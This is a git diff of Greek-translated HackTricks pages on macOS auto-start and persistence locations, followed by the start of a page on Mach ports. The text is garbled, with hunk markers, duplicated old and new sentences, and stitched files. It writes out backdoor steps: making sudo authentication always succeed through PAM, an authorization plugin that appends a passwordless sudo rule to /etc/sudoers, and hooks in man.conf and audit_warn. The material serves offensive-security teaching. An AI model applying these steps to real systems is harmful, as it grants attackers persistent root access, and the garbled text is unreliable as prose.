Η βασική μηχανική του Spotlight περιλαμβάνει ένα κεντρικό διεργασία με το όνομα 'mds', που σημαίνει **'metadata server'**. Αυτή η διαδικασία οργανώνει ολόκληρη την υπηρεσία Spotlight. Συμπληρώνοντας αυτό, υπάρχουν πολλοί δαίμονες 'mdworker' που εκτελούν διάφορες εργασίες συντήρησης, όπως ευρετήριαση διαφορετικών τύπων αρχείων (`ps -ef | grep mdworker`). Αυτές οι εργασίες γίνονται δυνατές μέσω των πρόσθετων εισαγωγέων Spotlight, ή **".mdimporter bundles"**, που επιτρέπουν στο Spotlight να κατανοήσει και να ευρετηριάσει περιεχόμενο σε μια ποικιλία μορφών αρχείων.
|
||||
|
||||
Τα πρόσθετα ή `.mdimporter` bundles βρίσκονται στις προηγουμένως αναφερθείσες τοποθεσίες και αν εμφανιστεί ένα νέο bundle, φορτώνεται μέσα σε λίγα λεπτά (χωρίς την ανάγκη επανεκκίνησης κάποιας υπηρεσίας). Αυτά τα bundles πρέπει να υποδεικνύουν ποιους τύπους αρχείων και επεκτάσεις μπορούν να διαχειριστούν, με αυτόν τον τρόπο, το Spotlight θα τα χρησιμοποιήσει όταν δημιουργηθεί ένα νέο αρχείο με την υποδειγμένη επέκταση.
|
||||
Τα πρόσθετα ή **`.mdimporter`** bundles βρίσκονται στις προηγουμένως αναφερθείσες τοποθεσίες και αν εμφανιστεί ένα νέο bundle, φορτώνεται μέσα σε λίγα λεπτά (χωρίς την ανάγκη επανεκκίνησης κάποιας υπηρεσίας). Αυτά τα bundles πρέπει να υποδεικνύουν ποιους **τύπους αρχείων και επεκτάσεις μπορούν να διαχειριστούν**, με αυτόν τον τρόπο, το Spotlight θα τα χρησιμοποιήσει όταν δημιουργηθεί ένα νέο αρχείο με την υποδειγμένη επέκταση.
|
||||
|
||||
Είναι δυνατόν να βρεθούν όλοι οι `mdimporters` που φορτώνονται τρέχοντας:
|
||||
Είναι δυνατόν να **βρείτε όλους τους `mdimporters`** που φορτώνονται τρέχοντας:
|
||||
```bash
|
||||
mdimport -L
|
||||
Paths: id(501) (
|
||||
|
@ -1121,7 +1154,7 @@ Paths: id(501) (
|
|||
"/System/Library/Spotlight/PDF.mdimporter",
|
||||
[...]
|
||||
```
|
||||
Και για παράδειγμα **/Library/Spotlight/iBooksAuthor.mdimporter** χρησιμοποιείται για την ανάλυση αυτού του τύπου αρχείων (επεκτάσεις `.iba` και `.book` μεταξύ άλλων):
|
||||
Και για παράδειγμα το **/Library/Spotlight/iBooksAuthor.mdimporter** χρησιμοποιείται για την ανάλυση αυτού του τύπου αρχείων (με επεκτάσεις `.iba` και `.book` μεταξύ άλλων):
|
||||
```json
|
||||
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
||||
|
||||
|
@ -1158,15 +1191,15 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
[...]
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Εάν ελέγξετε το Plist άλλου `mdimporter`, ενδέχεται να μη βρείτε την καταχώριση **`UTTypeConformsTo`**. Αυτό συμβαίνει επειδή πρόκειται για ενσωματωμένο _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) και δεν χρειάζεται να καθορίσει επεκτάσεις.
|
||||
Εάν ελέγξετε το Plist άλλου `mdimporter` ενδέχεται να μη βρείτε την καταχώρηση **`UTTypeConformsTo`**. Αυτό συμβαίνει επειδή πρόκειται για ενσωματωμένο _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) και δεν χρειάζεται να καθορίσει επεκτάσεις.
|
||||
|
||||
Επιπλέον, τα προεπιλεγμένα πρόσθετα του συστήματος έχουν πάντα προτεραιότητα, έτσι ένας επιτιθέμενος μπορεί να έχει πρόσβαση μόνο σε αρχεία που δεν έχουν διαφορετικά ευρεθεί από τους ίδιους τους `mdimporters` της Apple.
|
||||
Επιπλέον, τα προεπιλεγμένα πρόσθετα του συστήματος έχουν πάντα προτεραιότητα, έτσι ένας επιτιθέμενος μπορεί να έχει πρόσβαση μόνο σε αρχεία που δεν είναι διαφορετικά ευρετηριασμένα από τους ίδιους της Apple `mdimporters`.
|
||||
{% endhint %}
|
||||
|
||||
Για να δημιουργήσετε το δικό σας εισαγωγέα, μπορείτε να ξεκινήσετε με αυτό το έργο: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) και στη συνέχεια να αλλάξετε το όνομα, το **`CFBundleDocumentTypes`** και να προσθέσετε **`UTImportedTypeDeclarations`** ώστε να υποστηρίζει την επέκταση που θέλετε και να τα αντικατοπτρίζετε στο **`schema.xml`**.\
|
||||
Για να δημιουργήσετε το δικό σας εισαγωγέα μπορείτε να ξεκινήσετε με αυτό το έργο: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) και στη συνέχεια να αλλάξετε το όνομα, το **`CFBundleDocumentTypes`** και να προσθέσετε **`UTImportedTypeDeclarations`** ώστε να υποστηρίζει την επέκταση που θέλετε να υποστηρίξετε και να τα αντικατοπτρίσετε στο **`schema.xml`**.\
|
||||
Στη συνέχεια **αλλάξτε** τον κώδικα της συνάρτησης **`GetMetadataForFile`** για να εκτελεί το payload σας όταν δημιουργείται ένα αρχείο με την επεξεργασμένη επέκταση.
|
||||
|
||||
Τέλος **κάντε build και αντιγράψτε τον νέο σας `.mdimporter`** σε μία από τις προηγούμενες τοποθεσίες και μπορείτε να ελέγξετε όταν φορτώνεται **παρακολουθώντας τα logs** ή ελέγχοντας το **`mdimport -L.`**
|
||||
Τέλος **κάντε build και αντιγράψτε τον νέο σας `.mdimporter`** σε έναν από τους προηγούμενους τόπους και μπορείτε να ελέγξετε όταν φορτώνεται **παρακολουθώντας τα logs** ή ελέγχοντας **`mdimport -L.`**
|
||||
|
||||
### ~~Πίνακας Προτιμήσεων~~
|
||||
|
||||
|
@ -1193,7 +1226,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
## Παράκαμψη Αμμοθονίου Root
|
||||
|
||||
{% hint style="success" %}
|
||||
Εδώ μπορείτε να βρείτε τοποθεσίες εκκίνησης χρήσιμες για παράκαμψη αμμοθονίου που σάς επιτρέπουν να απλά εκτελέσετε κάτι γράφοντάς το σε ένα αρχείο ως χρήστης root και/ή απαιτώντας άλλες περίεργες συνθήκες.
|
||||
Εδώ μπορείτε να βρείτε τοποθεσίες εκκίνησης χρήσιμες για **παράκαμψη αμμοθονίου** που σάς επιτρέπουν να απλά εκτελέσετε κάτι με το **να το γράψετε σε ένα αρχείο** ως **root** και/ή απαιτώντας άλλες **περίεργες συνθήκες.**
|
||||
{% endhint %}
|
||||
|
||||
### Περιοδικός
|
||||
|
@ -1201,21 +1234,22 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/)
|
||||
|
||||
* Χρήσιμο για παράκαμψη αμμοθονίου: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Αλλά χρειάζεστε δικαιώματα root
|
||||
* Αλλά χρειάζεστε root
|
||||
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Τοποθεσία
|
||||
|
||||
* `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic`
|
||||
* Απαιτούνται δικαιώματα root
|
||||
* Απαιτείται root
|
||||
* **Ενεργοποίηση**: Όταν έρθει η ώρα
|
||||
* `/etc/daily.local`, `/etc/weekly.local` ή `/etc/monthly.local`
|
||||
* Απαιτούνται δικαιώματα root
|
||||
* Απαιτείται root
|
||||
* **Ενεργοποίηση**: Όταν έρθει η ώρα
|
||||
|
||||
#### Περιγραφή & Εκμετάλλευση
|
||||
|
||||
Τα περιοδικά scripts (**`/etc/periodic`**) εκτελούνται λόγω των **launch daemons** που έχουν διαμορφωθεί στο `/System/Library/LaunchDaemons/com.apple.periodic*`. Σημειώστε ότι τα scripts που αποθηκεύονται στο `/etc/periodic/` εκτελούνται ως ο ιδιοκτήτης του αρχείου, οπότε αυτό δεν θα λειτουργήσει για πιθανή ανόδο ικανοτήτων. {% code overflow="wrap" %}
|
||||
Τα περιοδικά scripts (**`/etc/periodic`**) εκτελούνται λόγω των **launch daemons** που έχουν διαμορφωθεί στο `/System/Library/LaunchDaemons/com.apple.periodic*`. Σημειώστε ότι τα scripts που αποθηκεύονται στο `/etc/periodic/` εκτελούνται ως ο **κάτοχος του αρχείου,** οπότε αυτό δεν θα λειτουργήσει για μια πιθανή ανόδο ικανοτήτων.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Launch daemons that will execute the periodic scripts
|
||||
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
|
||||
|
@ -1258,31 +1292,31 @@ monthly_local="/etc/monthly.local" # Local scripts
|
|||
Εάν καταφέρετε να γράψετε οποιοδήποτε από τα αρχεία `/etc/daily.local`, `/etc/weekly.local` ή `/etc/monthly.local` θα **εκτελεστεί νωρίτερα ή αργότερα**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Σημειώστε ότι το περιοδικό script θα **εκτελεστεί ως ο ιδιοκτήτης του script**. Έτσι, εάν ένας κανονικός χρήστης είναι ιδιοκτήτης του script, θα εκτελεστεί ως αυτός ο χρήστης (κάτι που μπορεί να αποτρέψει επιθέσεις εξάρτησης από προνομιακά δικαιώματα).
|
||||
Σημειώστε ότι το περιοδικό script θα **εκτελεστεί ως ο ιδιοκτήτης του script**. Έτσι, εάν ένας κανονικός χρήστης είναι ιδιοκτήτης του script, θα εκτελεστεί ως αυτός ο χρήστης (κάτι που μπορεί να αποτρέψει επιθέσεις εξάρτησης από δικαιώματα).
|
||||
{% endhint %}
|
||||
|
||||
### PAM
|
||||
|
||||
Ανάλυση: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
|
||||
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
|
||||
Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
|
||||
|
||||
* Χρήσιμο για παράκαμψη αμμουδιάς: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Αλλά χρειάζεστε root
|
||||
* Αλλά χρειάζεστε δικαιώματα ρίζας
|
||||
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Τοποθεσία
|
||||
|
||||
* Πάντα απαιτείται root
|
||||
* Πάντα απαιτείται ρίζα
|
||||
|
||||
#### Περιγραφή & Εκμετάλλευση
|
||||
|
||||
Καθώς το PAM είναι περισσότερο εστιασμένο στη **μόνιμη διατήρηση** και το malware παρά στην εύκολη εκτέλεση μέσα στο macOS, αυτό το blog δεν θα δώσει μια λεπτομερή εξήγηση, **διαβάστε τις αναλύσεις για να κατανοήσετε καλύτερα αυτή την τεχνική**.
|
||||
Καθώς το PAM είναι περισσότερο εστιασμένο στη **μόνιμη διατήρηση** και στο malware παρά στην εύκολη εκτέλεση μέσα στο macOS, αυτό το blog δεν θα δώσει μια λεπτομερή εξήγηση, **διαβάστε τα writeups για να κατανοήσετε καλύτερα αυτή την τεχνική**.
|
||||
|
||||
Ελέγξτε τα modules PAM με:
|
||||
```bash
|
||||
ls -l /etc/pam.d
|
||||
```
|
||||
Μια τεχνική διατήρησης/ανόδου προνομίων που καταχράζεται το PAM είναι τόσο εύκολη όσο η τροποποίηση του module /etc/pam.d/sudo προσθέτοντας στην αρχή τη γραμμή:
|
||||
Μια τεχνική διατήρησης/ανόδου προνομίων που καταχράζεται το PAM είναι τόσο εύκολη όσο το να τροποποιήσετε το module /etc/pam.d/sudo προσθέτοντας στην αρχή τη γραμμή:
|
||||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
|
@ -1339,7 +1373,7 @@ system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
|
|||
```bash
|
||||
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
|
||||
```
|
||||
Τέλος, προσθέστε τον **κανόνα** για τη φόρτωση αυτού του Plugin:
|
||||
Τέλος, προσθέστε τον **κανόνα** για τη φόρτωση αυτού του Πρόσθετου:
|
||||
```bash
|
||||
cat > /tmp/rule.plist <<EOF
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -1358,20 +1392,20 @@ EOF
|
|||
|
||||
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
||||
```
|
||||
Το **`evaluate-mechanisms`** θα ειδοποιήσει το πλαίσιο εξουσιοδότησης ότι θα χρειαστεί να **καλέσει ένα εξωτερικό μηχανισμό για εξουσιοδότηση**. Επιπλέον, το **`privileged`** θα κάνει την εκτέλεσή του από τον ριζικό χρήστη.
|
||||
Το **`evaluate-mechanisms`** θα ειδοποιήσει το πλαίσιο εξουσιοδότησης ότι θα χρειαστεί να **καλέσει ένα εξωτερικό μηχανισμό για εξουσιοδότηση**. Επιπλέον, το **`privileged`** θα κάνει την εκτέλεσή του από τον χρήστη root.
|
||||
|
||||
Ενεργοποίησέ το με:
|
||||
```bash
|
||||
security authorize com.asdf.asdf
|
||||
```
|
||||
Και στη συνέχεια η **ομάδα προσωπικού πρέπει να έχει πρόσβαση sudo** (διαβάστε το `/etc/sudoers` για επιβεβαίωση).
|
||||
Και στη συνέχεια η ομάδα **προσωπικού πρέπει να έχει πρόσβαση sudo** (διαβάστε `/etc/sudoers` για επιβεβαίωση).
|
||||
|
||||
### Man.conf
|
||||
|
||||
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
|
||||
|
||||
* Χρήσιμο για παράκαμψη αμμουδιάς: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Αλλά πρέπει να είστε ριζοχρήστης και ο χρήστης πρέπει να χρησιμοποιεί το man
|
||||
* Αλλά πρέπει να είστε ριζικός και ο χρήστης πρέπει να χρησιμοποιεί το man
|
||||
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Τοποθεσία
|
||||
|
@ -1382,7 +1416,7 @@ security authorize com.asdf.asdf
|
|||
|
||||
#### Περιγραφή & Εκμετάλλευση
|
||||
|
||||
Το αρχείο ρύθμισης **`/private/etc/man.conf`** υποδεικνύει το δυαδικό/σενάριο που θα χρησιμοποιηθεί όταν ανοίγονται αρχεία τεκμηρίωσης man. Έτσι, το μονοπάτι προς το εκτελέσιμο μπορεί να τροποποιηθεί έτσι ώστε κάθε φορά που ο χρήστης χρησιμοποιεί το man για να διαβάσει κάποια έγγραφα, να εκτελείται ένα backdoor.
|
||||
Το αρχείο ρυθμίσεων **`/private/etc/man.conf`** υποδεικνύει το δυαδικό/σενάριο που θα χρησιμοποιηθεί όταν ανοίγονται αρχεία τεκμηρίωσης man. Έτσι, το μονοπάτι προς το εκτελέσιμο μπορεί να τροποποιηθεί έτσι ώστε κάθε φορά που ο χρήστης χρησιμοποιεί το man για να διαβάσει κάποια έγγραφα, να εκτελείται ένα παρασκήνιο.
|
||||
|
||||
Για παράδειγμα, ορίστε στο **`/private/etc/man.conf`**:
|
||||
```
|
||||
|
@ -1441,8 +1475,8 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
|
|||
|
||||
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
|
||||
|
||||
* Χρήσιμο για παράκαμψη του sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Αλλά χρειάζεστε δικαιώματα ρίζας, το auditd να εκτελείται και να προκαλεί μια προειδοποίηση
|
||||
* Χρήσιμο για παράκαμψη χωροθέτησης: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Αλλά χρειάζεστε δικαιώματα ρίζας, εκτέλεση του auditd και πρόκληση προειδοποίησης
|
||||
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Τοποθεσία
|
||||
|
@ -1468,7 +1502,7 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
1. Ένα **rc script**: Ένα shell script που εκτελείται κατά την εκκίνηση.
|
||||
2. Ένα αρχείο **plist**, με το συγκεκριμένο όνομα `StartupParameters.plist`, το οποίο περιέχει διάφορες ρυθμίσεις διαμόρφωσης.
|
||||
|
||||
Βεβαιωθείτε ότι τόσο το rc script όσο και το αρχείο `StartupParameters.plist` είναι τοποθετημένα σωστά μέσα στον κατάλογο **StartupItem** για να τα αναγνωρίσει και να τα χρησιμοποιήσει η διαδικασία εκκίνησης.
|
||||
Βεβαιωθείτε ότι τόσο το rc script όσο και το αρχείο `StartupParameters.plist` έχουν τοποθετηθεί σωστά μέσα στον κατάλογο **StartupItem** για να τα αναγνωρίσει και να τα χρησιμοποιήσει η διαδικασία εκκίνησης.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -1487,21 +1521,7 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="superservicename" %}
|
||||
|
||||
### Τοποθεσίες Αυτόματης Έναρξης στο macOS
|
||||
|
||||
Στο macOS, υπάρχουν διάφορες τοποθεσίες όπου μπορούν να προστεθούν εφαρμογές για να ξεκινούν αυτόματα κατά την εκκίνηση του συστήματος. Αυτές οι τοποθεσίες περιλαμβάνουν:
|
||||
|
||||
1. **Φάκελος Εκκίνησης (Startup Folder):** Οι εφαρμογές που βρίσκονται σε αυτόν τον φάκελο θα ξεκινήσουν αυτόματα με την εκκίνηση του συστήματος για τον συγκεκριμένο χρήστη.
|
||||
|
||||
2. **Launch Agents και Launch Daemons:** Τα αρχεία που βρίσκονται στα φακέλους `/Library/LaunchAgents`, `/Library/LaunchDaemons`, `~/Library/LaunchAgents` ή `/System/Library/LaunchAgents` μπορούν να χρησιμοποιηθούν για να δημιουργήσουν αυτόματες εκκινήσεις.
|
||||
|
||||
3. **Ρυθμίσεις Χρήστη:** Οι ρυθμίσεις στο Μενού Συστήματος > Χρήστες και Ομάδες > Στοιχεία Σύνδεσης μπορούν να περιέχουν εφαρμογές που ξεκινούν αυτόματα.
|
||||
|
||||
Ελέγξτε αυτές τις τοποθεσίες για να διαχειριστείτε τις εφαρμογές που ξεκινούν αυτόματα στο macOS και να ενισχύσετε την ασφάλεια του συστήματός σας.
|
||||
|
||||
{% endtab %}
|
||||
{% tab title="superservicename" %}Υπηρεσία εκκίνησης {% endtab %}
|
||||
```bash
|
||||
#!/bin/sh
|
||||
. /etc/rc.common
|
||||
|
@ -1531,7 +1551,7 @@ RunService "$1"
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
Εισήχθη από την Apple, το **emond** είναι ένα μηχανισμός καταγραφής που φαίνεται να είναι ανεπτυγμένος ελάχιστα ή ίσως εγκαταλειμμένος, αλλά παραμένει προσβάσιμος. Αν και δεν είναι ιδιαίτερα χρήσιμος για έναν διαχειριστή Mac, αυτή η σκοτεινή υπηρεσία θα μπορούσε να λειτουργήσει ως ένας διακριτικός τρόπος διατήρησης για απειλητικούς παράγοντες, πιθανώς απαρατήρητος από τους περισσότερους διαχειριστές macOS.
|
||||
Εισήχθη από την Apple, το **emond** είναι ένα μηχανισμός καταγραφής που φαίνεται να είναι ανεπτυγμένος ελάχιστα ή ίσως εγκαταλειμμένος, αλλά παραμένει προσβάσιμος. Αν και δεν είναι ιδιαίτερα χρήσιμος για έναν διαχειριστή Mac, αυτή η σκοτεινή υπηρεσία θα μπορούσε να λειτουργήσει ως ένας διακριτικός τρόπος διατήρησης για κακόβουλους χρήστες, πιθανώς απαρατήρητος από τους περισσότερους διαχειριστές macOS.
|
||||
|
||||
Για όσους γνωρίζουν την ύπαρξή του, η ανίχνευση οποιασδήποτε κακόβουλης χρήσης του **emond** είναι απλή. Το LaunchDaemon του συστήματος για αυτήν την υπηρεσία αναζητά scripts για εκτέλεση σε έναν μόνο κατάλογο. Για να ελεγχθεί αυτό, μπορεί να χρησιμοποιηθεί η ακόλουθη εντολή:
|
||||
```bash
|
||||
|
@ -1554,7 +1574,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
|
|||
### ~~kext~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Είναι τόσο περίπλοκο να εγκαταστήσετε ένα kext ακόμα και ως ρίζα, ώστε δεν θα το θεωρήσω ως τρόπο απόδρασης από τις αμμοθύες ή ακόμα και για διατήρηση (εκτός αν έχετε ένα εκμετάλλευση)
|
||||
Είναι τόσο περίπλοκο να εγκαταστήσετε ένα kext ακόμα και ως ρίζα, ώστε δεν θα το θεωρήσω ως τρόπο απόδρασης από τα αμμόλοφα ή ακόμα και για διατήρηση (εκτός αν έχετε ένα εκμετάλλευση)
|
||||
{% endhint %}
|
||||
|
||||
#### Τοποθεσία
|
||||
|
@ -1587,7 +1607,7 @@ kextunload -b com.apple.driver.ExampleBundle
|
|||
|
||||
#### Περιγραφή & Εκμετάλλευση
|
||||
|
||||
Φαίνεται ότι το `plist` από το `/System/Library/LaunchAgents/com.apple.amstoold.plist` χρησιμοποιούσε αυτό το δυαδικό ενώ εκθέτοντας ένα XPC service... το πρόβλημα είναι ότι το δυαδικό δεν υπήρχε, οπότε θα μπορούσατε να τοποθετήσετε κάτι εκεί και όταν κληθεί το XPC service, το δικό σας δυαδικό θα κληθεί.
|
||||
Φαίνεται ότι το `plist` από το `/System/Library/LaunchAgents/com.apple.amstoold.plist` χρησιμοποιούσε αυτό το δυαδικό ενώ εκθέτοντας ένα XPC service... το πρόβλημα είναι ότι το δυαδικό δεν υπήρχε, οπότε θα μπορούσατε να τοποθετήσετε κάτι εκεί και όταν κληθεί το XPC service θα κληθεί το δικό σας δυαδικό.
|
||||
|
||||
Δεν μπορώ πλέον να βρω αυτό στο macOS μου.
|
||||
|
||||
|
@ -1599,7 +1619,7 @@ kextunload -b com.apple.driver.ExampleBundle
|
|||
|
||||
* **`/Library/Preferences/Xsan/.xsanrc`**
|
||||
* Απαιτεί δικαιώματα ρίζας
|
||||
* **Ενεργοποίηση**: Όταν το σέρβις τρέχει (σπάνια)
|
||||
* **Ενεργοποίηση**: Όταν το service τρέχει (σπάνια)
|
||||
|
||||
#### Περιγραφή & εκμετάλλευση
|
||||
|
||||
|
@ -1711,14 +1731,14 @@ esac
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team Expert του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
|
@ -24,25 +24,25 @@
|
|||
|
||||
Κάθε διεργασία έχει μια **πίνακα IPC**, όπου είναι δυνατό να βρεθούν οι **θύρες mach της διεργασίας**. Το όνομα μιας θύρας mach είναι στην πραγματικότητα ένας αριθμός (ένας δείκτης στο αντικείμενο πυρήνα).
|
||||
|
||||
Μια διεργασία μπορεί επίσης να στείλει ένα όνομα θύρας με κάποια δικαιώματα **σε μια διαφορετική εργασία** και το πυρήνας θα κάνει αυτήν την εγγραφή στο **πίνακα IPC της άλλης εργασίας** να εμφανιστεί.
|
||||
Μια διεργασία μπορεί επίσης να στείλει ένα όνομα θύρας με κάποια δικαιώματα **σε μια διαφορετική εργασία** και το πυρήνας θα κάνει αυτήν την καταχώριση στο **πίνακα IPC της άλλης εργασίας** να εμφανιστεί.
|
||||
|
||||
### Δικαιώματα Θύρας
|
||||
|
||||
Τα δικαιώματα θύρας, τα οποία καθορίζουν ποιες λειτουργίες μπορεί να εκτελέσει μια εργασία, είναι καίριας σημασίας για αυτήν την επικοινωνία. Τα πιθανά **δικαιώματα θύρας** είναι ([ορισμοί από εδώ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
* **Δικαίωμα Λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που στέλνονται στη θύρα. Οι θύρες Mach είναι ουρές MPSC (πολλαπλών παραγωγών, μονός καταναλωτής), που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε θύρα** σε ολόκληρο το σύστημα (διαφορετικά από τα αγωγά, όπου πολλές διεργασίες μπορούν να κρατούν όλες τις περιγραφές αρχείων στο άκρο ανάγνωσης ενός αγωγού).
|
||||
* **Δικαίωμα Λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που στέλνονται στη θύρα. Οι θύρες Mach είναι ουρές MPSC (πολλαπλών παραγωγών, μονό εντοπιστή) που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε θύρα** σε ολόκληρο το σύστημα (διαφορετικά από τα αγωγά, όπου πολλές διεργασίες μπορούν να κρατούν όλες τις περιγραφές αρχείων στο άκρο ανάγνωσης ενός αγωγού).
|
||||
* Μια **εργασία με το Δικαίωμα Λήψης** μπορεί να λαμβάνει μηνύματα και **να δημιουργεί Δικαιώματα Αποστολής**, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η **ίδια εργασία έχει το Δικαίωμα Λήψης πάνω από τη θύρα της**.
|
||||
* **Δικαίωμα Αποστολής**, το οποίο επιτρέπει την αποστολή μηνυμάτων στη θύρα.
|
||||
* Το Δικαίωμα Αποστολής μπορεί να **κλωνοποιηθεί** έτσι μια εργασία που κατέχει ένα Δικαίωμα Αποστολής μπορεί να κλωνοποιήσει το δικαίωμα και **να το χορηγήσει σε μια τρίτη εργασία**.
|
||||
* **Δικαίωμα Αποστολής-μία-φοράς**, το οποίο επιτρέπει την αποστολή ενός μηνύματος στη θύρα και στη συνέχεια εξαφανίζεται.
|
||||
* **Δικαίωμα Συνόλου Θυρών**, το οποίο υποδηλώνει ένα _σύνολο θυρών_ αντί για μια μεμονωμένη θύρα. Η αποσύνδεση ενός μηνύματος από ένα σύνολο θυρών αποσυνδέει ένα μήνυμα από μία από τις θύρες που περιέχει. Τα σύνολα θυρών μπορούν να χρησιμοποιηθούν για να ακούσουν ταυτόχρονα σε πολλές θύρες, πολύ παρόμοια με το `select`/`poll`/`epoll`/`kqueue` στο Unix.
|
||||
* **Νεκρό όνομα**, το οποίο δεν είναι ένα πραγματικό δικαίωμα θύρας, αλλά απλώς ένας χώρος κράτησης. Όταν μια θύρα καταστραφεί, όλα τα υπάρχοντα δικαιώματα θύρας στη θύρα μετατρέπονται σε νεκρά ονόματα.
|
||||
